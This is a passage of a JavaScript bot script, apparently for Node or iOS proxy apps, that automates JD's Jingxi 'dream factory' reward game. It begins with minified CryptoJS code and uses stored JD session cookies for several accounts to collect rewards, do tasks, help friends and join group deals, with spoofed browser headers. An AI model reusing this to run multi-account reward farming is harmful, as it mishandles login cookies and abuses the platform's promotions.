? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +const $ = new Env('京喜工厂'); +const JD_API_HOST = 'https://m.jingxi.com'; +const notify = $.isNode() ? require('./sendNotify') : ''; +//通知级别 1=生产完毕可兑换通知;2=可兑换通知+生产超时通知+兑换超时通知;3=可兑换通知+生产超时通知+兑换超时通知+未选择商品生产通知(前提:已开通京喜工厂活动);默认第2种通知 +let notifyLevel = $.isNode() ? process.env.JXGC_NOTIFY_LEVEL || 2 : 2; +const randomCount = $.isNode() ? 20 : 5; +let tuanActiveId = ``, hasSend = false; +const jxOpenUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wqsd.jd.com/pingou/dream_factory/index.html%22%20%7D`; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +const inviteCodes = [ + '' +]; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.tuanIds = []; +$.appId = 10001; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.DREAMFACTORY_FORBID_ACCOUNT) process.env.DREAMFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requestAlgo(); + await getActiveId();//自动获取每期拼团活动ID + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ele = 0; + $.pickEle = 0; + $.pickFriendEle = 0; + $.friendList = []; + $.canHelpFlag = true;//能否助力朋友(招工) + $.tuanNum = 0;//成团人数 + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdDreamFactory() + } + } + if (tuanActiveId) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.isLogin = true; + $.canHelp = true;//能否参团 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + + if ((cookiesArr && cookiesArr.length >= ($.tuanNum || 5)) && $.canHelp) { + console.log(`\n账号${$.UserName} 内部相互进团\n`); + for (let item of $.tuanIds) { + console.log(`\n${$.UserName} 去参加团 ${item}`); + if (!$.canHelp) break; + await JoinTuan(item); + await $.wait(1000); + } + } + if ($.canHelp) await joinLeaderTuan();//参团 + } + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: jxOpenUrl }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdDreamFactory() { + try { + await userInfo(); + await QueryFriendList();//查询今日招工情况以及剩余助力次数 + // await joinLeaderTuan();//参团 + await helpFriends(); + if (!$.unActive) return + // await collectElectricity() + await getUserElectricity(); + await taskList(); + await investElectric(); + await QueryHireReward();//收取招工电力 + await PickUp();//收取自家的地下零件 + await stealFriend(); + if (tuanActiveId) { + await tuanActivity(); + await QueryAllTuan(); + } + await exchangeProNotify(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} + +function getActiveId(url = 'https://wqsd.jd.com/pingou/dream_factory/index.html') { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if(err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\._CONFIG = (.*) ;var __getImgUrl/) + if (data) { + data = JSON.parse(data[1]); + const tuanConfigs = (data[0].skinConfig[0].adConfig || []).filter(vo => !!vo && vo['channel'] === 'h5'); + if (tuanConfigs && tuanConfigs.length) { + for (let item of tuanConfigs) { + const start = item.start; + const end = item.end; + const link = item.link; + if ((new Date(item.start).getTime() <= Date.now()) && (new Date(item.end).getTime() > Date.now())) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}`); + tuanActiveId = link.match(/activeId=(.*),/)[1]; + break + } + } else if ((new Date(item.start).getTime() > Date.now()) && (new Date(item.end).getTime() > Date.now())) { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}\n团ID还未开始`); + tuanActiveId = ''; + } + } else { + if (link && link.match(/activeId=(.*),/) && link.match(/activeId=(.*),/)[1]) { + console.log(`\n团活动ID: ${link.match(/activeId=(.*),/)[1]}\n有效时间:${start} - ${end}\n团ID已过期`); + tuanActiveId = ''; + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 收取发电机的电力 +function collectElectricity(facId = $.factoryId, help = false, master) { + return new Promise(async resolve => { + // let url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&apptoken=&pgtimestamp=&phoneID=&factoryid=${facId}&doubleflag=1&sceneval=2&g_login_type=1`; + // if (help && master) { + // url = `/dreamfactory/generator/CollectCurrentElectricity?zone=dream_factory&factoryid=${facId}&master=${master}&sceneval=2&g_login_type=1`; + // } + let body = `factoryid=${facId}&apptoken=&pgtimestamp=&phoneID=&doubleflag=1`; + if (help && master) { + body += `factoryid=${facId}&master=${master}`; + } + $.get(taskurl(`generator/CollectCurrentElectricity`, body, `_time,apptoken,doubleflag,factoryid,pgtimestamp,phoneID,timeStamp,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (help) { + $.ele += Number(data.data['loginPinCollectElectricity']) + console.log(`帮助好友收取 ${data.data['CollectElectricity']} 电力,获得 ${data.data['loginPinCollectElectricity']} 电力`); + message += `【帮助好友】帮助成功,获得 ${data.data['loginPinCollectElectricity']} 电力\n` + } else { + $.ele += Number(data.data['CollectElectricity']) + console.log(`收取电力成功: 共${data.data['CollectElectricity']} `); + message += `【收取发电站】收取成功,获得 ${data.data['CollectElectricity']} 电力\n` + } + } else { + if (help) { + console.log(`收取好友电力失败:${data.msg}\n`); + } else { + console.log(`收取电力失败:${data.msg}\n`); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 投入电力 +function investElectric() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/InvestElectric?zone=dream_factory&productionId=${$.productionId}&sceneval=2&g_login_type=1`; + $.get(taskurl('userinfo/InvestElectric', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`成功投入电力${data.data.investElectric}电力`); + message += `【投入电力】投入成功,共计 ${data.data.investElectric} 电力\n`; + } else { + console.log(`投入失败,${data.msg}`); + message += `【投入电力】投入失败,${data.msg}\n`; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务 +function taskList() { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/GetUserTaskStatusList?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('GetUserTaskStatusList', '', `_time,bizCode,source`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + let userTaskStatusList = data['data']['userTaskStatusList']; + for (let i = 0; i < userTaskStatusList.length; i++) { + const vo = userTaskStatusList[i]; + if (vo['awardStatus'] !== 1) { + if (vo.completedTimes >= vo.targetTimes) { + console.log(`任务:${vo.description}可完成`) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } else { + switch (vo.taskType) { + case 2: // 逛一逛任务 + case 6: // 浏览商品任务 + case 9: // 开宝箱 + for (let i = vo.completedTimes; i <= vo.configTargetTimes; ++i) { + console.log(`去做任务:${vo.taskName}`) + await doTask(vo.taskId) + await completeTask(vo.taskId, vo.taskName) + await $.wait(1000);//延迟等待一秒 + } + break + case 4: // 招工 + break + case 5: + // 收集类 + break + case 1: // 登陆领奖 + default: + break + } + } + } + } + console.log(`完成任务:共领取${$.ele}电力`) + message += `【每日任务】领奖成功,共计 ${$.ele} 电力\n`; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 获得用户电力情况 +function getUserElectricity() { + return new Promise(async resolve => { + // const url = `/dreamfactory/generator/QueryCurrentElectricityQuantity?zone=dream_factory&factoryid=${$.factoryId}&sceneval=2&g_login_type=1` + $.get(taskurl(`generator/QueryCurrentElectricityQuantity`, `factoryid=${$.factoryId}`, `_time,factoryid,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`发电机:当前 ${data.data.currentElectricityQuantity} 电力,最大值 ${data.data.maxElectricityQuantity} 电力`) + if (data.data.currentElectricityQuantity < data.data.maxElectricityQuantity) { + $.log(`\n本次发电机电力集满分享后${data.data.nextCollectDoubleFlag === 1 ? '可' : '不可'}获得双倍电力,${data.data.nextCollectDoubleFlag === 1 ? '故目前不收取电力' : '故现在收取电力'}\n`) + } + if (data.data.nextCollectDoubleFlag === 1) { + if (data.data.currentElectricityQuantity === data.data.maxElectricityQuantity && data.data.doubleElectricityFlag) { + console.log(`发电机:电力可翻倍并收获`) + // await shareReport(); + await collectElectricity() + } else { + message += `【发电机电力】当前 ${data.data.currentElectricityQuantity} 电力,未达到收获标准\n` + } + } else { + //再收取双倍电力达到上限时,直接收取,不再等到满级 + await collectElectricity() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//查询有多少的招工电力可收取 +function QueryHireReward() { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/QueryHireReward', ``, `_time,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + for (let item of data['data']['hireReward']) { + if (item.date !== new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).Format("yyyyMMdd")) { + await hireAward(item.date, item.type); + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 收取招工/劳模电力 +function hireAward(date, type = 0) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/HireAward?zone=dream_factory&date=${new Date().Format("yyyyMMdd")}&type=0&sceneval=2&g_login_type=1` + $.get(taskurl('friend/HireAward', `date=${date}&type=${type}`, '_time,date,type,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`打工电力:收取成功`) + message += `【打工电力】:收取成功\n` + } else { + console.log(`打工电力:收取失败,${data.msg}`) + message += `【打工电力】收取失败,${data.msg}\n` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + let Hours = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + if (Hours < 6) { + console.log(`\n未到招工时间(每日6-24点之间可招工)\n`) + return + } + if ($.canHelpFlag) { + await shareCodesFormat(); + for (let code of $.newShareCodes) { + if (code) { + if ($.encryptPin === code) { + console.log(`不能为自己助力,跳过`); + continue; + } + const assistFriendRes = await assistFriend(code); + if (assistFriendRes && assistFriendRes['ret'] === 0) { + console.log(`助力朋友:${code}成功,因一次只能助力一个,故跳出助力`) + break + } else if (assistFriendRes && assistFriendRes['ret'] === 11009) { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg},跳出助力`); + break + } else { + console.log(`助力朋友[${code}]失败:${assistFriendRes.msg}`) + } + } + } + } else { + $.log(`\n今日助力好友机会已耗尽\n`); + } +} +// 帮助用户,此处UA不可更换,否则助力功能会失效 +function assistFriend(sharepin) { + return new Promise(async resolve => { + // const url = `/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1` + // const options = { + // 'url': `https://m.jingxi.com/dreamfactory/friend/AssistFriend?zone=dream_factory&sharepin=${escape(sharepin)}&sceneval=2&g_login_type=1`, + // 'headers': { + // "Accept": "*/*", + // "Accept-Encoding": "gzip, deflate, br", + // "Accept-Language": "zh-cn", + // "Connection": "keep-alive", + // "Cookie": cookie, + // "Host": "m.jingxi.com", + // "Referer": "https://st.jingxi.com/pingou/dream_factory/index.html", + // "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" + // } + // } + const options = taskurl('friend/AssistFriend', `sharepin=${escape(sharepin)}`, `_time,sharepin,zone`); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // console.log(`助力朋友:${sharepin}成功`) + // } else { + // console.log(`助力朋友[${sharepin}]失败:${data.msg}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//查询助力招工情况 +function QueryFriendList() { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFriendList', ``, `_time,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { assistListToday = [], assistNumMax, hireListToday = [], hireNumMax } = data; + console.log(`\n\n你今日还能帮好友打工(${assistNumMax - assistListToday.length || 0}/${assistNumMax})次\n\n`); + if (assistListToday.length === assistNumMax) { + $.canHelpFlag = false; + } + $.log(`【今日招工进度】${hireListToday.length}/${hireNumMax}`); + message += `【招工进度】${hireListToday.length}/${hireNumMax}\n`; + } else { + console.log(`QueryFriendList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 任务领奖 +function completeTask(taskId, taskName) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/Award?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('Award', taskId, `_time,bizCode,source,taskId`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + switch (data['data']['awardStatus']) { + case 1: + $.ele += Number(data['data']['prizeInfo'].replace('\\n', '')) + console.log(`领取${taskName}任务奖励成功,收获:${Number(data['data']['prizeInfo'].replace('\\n', ''))}电力`); + break + case 1013: + case 0: + console.log(`领取${taskName}任务奖励失败,任务已领奖`); + break + default: + console.log(`领取${taskName}任务奖励失败,${data['msg']}`) + break + } + // if (data['ret'] === 0) { + // console.log("做任务完成!") + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 完成任务 +function doTask(taskId) { + return new Promise(async resolve => { + // const url = `/newtasksys/newtasksys_front/DoTask?source=dreamfactory&bizCode=dream_factory&taskId=${taskId}&sceneval=2&g_login_type=1`; + $.get(newtasksysUrl('DoTask', taskId, '_time,bizCode,configExtra,source,taskId'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log("做任务完成!") + } else { + console.log(`DoTask异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化个人信息 +function userInfo() { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true;//标记是否开启了京喜活动或者选购了商品进行生产 + $.encryptPin = ''; + $.shelvesList = []; + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + const productionStage = data.productionStage; + $.factoryId = factory.factoryId;//工厂ID + $.productionId = production.productionId;//商品ID + $.commodityDimId = production.commodityDimId; + $.encryptPin = data.user.encryptPin; + // subTitle = data.user.pin; + await GetCommodityDetails();//获取已选购的商品信息 + if (productionStage['productionStageAwardStatus'] === 1) { + $.log(`可以开红包了\n`); + await DrawProductionStagePrize();//领取红包 + } else { + $.log(`再加${productionStage['productionStageProgress']}电力可开红包\n`) + } + console.log(`当前电力:${data.user.electric}`) + console.log(`当前等级:${data.user.currentLevel}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.user.encryptPin}`); + console.log(`已投入电力:${production.investedElectric}`); + console.log(`所需电力:${production.needElectric}`); + console.log(`生产进度:${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%`); + message += `【京东账号${$.index}】${$.nickName}\n` + message += `【生产商品】${$.productName}\n`; + message += `【当前等级】${data.user.userIdentity} ${data.user.currentLevel}\n`; + message += `【生产进度】${((production.investedElectric / production.needElectric) * 100).toFixed(2)}%\n`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) $.log(`\n\n可以兑换商品了`) + if (production['exchangeStatus'] === 3) { + $.log(`\n\n商品兑换已超时`) + if (new Date().getHours() === 9) { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + if (`${notifyLevel}` === '3' || `${notifyLevel}` === '2') allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + // await exchangeProNotify() + } else { + console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + $.log(`\n\n商品生产已失效`) + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + if ($.isNode() && (`${notifyLevel}` === '3' || `${notifyLevel}` === '2')) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if (nowTimes.getHours() === 12) { + 